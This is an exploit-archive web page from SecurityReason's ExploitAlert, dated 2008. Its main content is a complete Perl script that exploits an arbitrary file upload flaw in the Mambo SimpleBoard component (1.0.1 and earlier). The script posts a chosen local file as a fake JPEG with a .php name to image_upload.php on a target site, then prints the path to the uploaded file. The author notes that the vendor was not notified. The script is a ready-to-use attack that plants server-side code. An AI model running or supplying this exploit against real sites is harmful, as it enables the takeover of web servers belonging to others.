Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : ExploitAlert

  Topic : Mambo Component SimpleBoard <= 1.0.1 Arbitrary File Upload Exploit
  ExploitAlert : 5017
  Milw0rm ID : 6868
  Credit : t0pP8uZz
  Date : 29.10.2008

  Download

  Exploit Code :  

#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO;

- SimpleBoard Mambo Component <= 1.0.1 -
- Remote Arbitrary File Upload Exploit -

Discovered && Coded by: t0pP8uZz
Discovered on: 20 October 2008
Vendor has not been notified!

Note:

This exploit is a completely diffrent
method then the prior simpleboard vulns.
which differs from the one

Same files vulnerable, But this one works with
the patch! in later versions of
SimpleBoard they removed the image_upload.php so
this wont work. but this
works on every image_upload.php version. with the
patch in place!

A common error for the exploit is if openbase_dir is
enabled, then this means
the file will not get uploaded due to the
dir restrictions.

- Peace
- irc.rizon.net #sectalk

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
chomp(my $url=<STDIN>);

print "\nEnter File Path(path to local file to upload): ";
chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST
$url.'/components/com_simpleboard/image_upload.php',
Content_Type => 'form-data',
Content => [ attachimage => [ $file, $fname,
Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /open_basedir/) {

print "open_basedir restriction enabled. Exploit failed. See php.ini
for more details.\n"; # say() ? get perl510
}
else {

print "Looks like exploit was successfull! for uploaded file check: "
. $url . "/components/com_simpleboard/" . $fname . "\n";
}
exit;



Alert

Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

» PHP 5.2.6 (error_log)
   safe_mode bypass

Copyright © SecurityReason. All Rights Reserved.